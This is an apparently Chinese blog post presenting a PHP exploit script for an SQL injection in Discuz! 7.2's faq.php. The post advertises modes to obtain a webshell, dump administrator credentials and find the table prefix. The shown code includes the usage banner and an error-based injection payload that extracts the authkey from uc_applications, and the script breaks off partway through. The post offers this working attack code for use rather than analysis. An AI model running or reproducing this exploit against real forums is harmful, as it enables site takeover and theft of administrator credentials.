7.2 discuz 拿shell_Discuz! 7.2 SQL注入exp(getshell版)

已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。

参数:

1.可直接getshell

2.爆管理账号密码

3.爆表前缀

如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。

<?php

/**

* @author: xiaoma

* @blog : www.i0day.com

* @date : 2014.7.2 23:1

*/

error_reporting(0);

set_time_limit(3000);

$host=$argv[1];

$path=$argv[2];

$js=$argv[3];

$timestamp = time()+10*3600;

$table="cdb_";//表名

if ($argc < 2) {

print_r('

********************************************************

* Discuz faq.php SQL Injection Exp *

* ---------By:Www.i0day.com----------- *

* Usage: php '.$argv[0].' url [js] *

* ------------------------------------- *

* js选项: 1.GetShell 2.取密码 3.查表前缀 *

* *

* php '.$argv[0].' Www.i0day.com / 1 *

* php '.$argv[0].' Www.i0day.com /dz72/ 1 *

* *

* *

********************************************************

');

exit;

}

if($js==1){

$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";

$resp = sendpack($host,$path,$sql);

if(strpos($resp,"::")==-1){

echo '表前缀可能不是默认cdb_ 请先查看表前缀!';

}else{

preg_match("/::(.*)::/",$resp,$matches);

$lenght=intval($matches[1]);

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值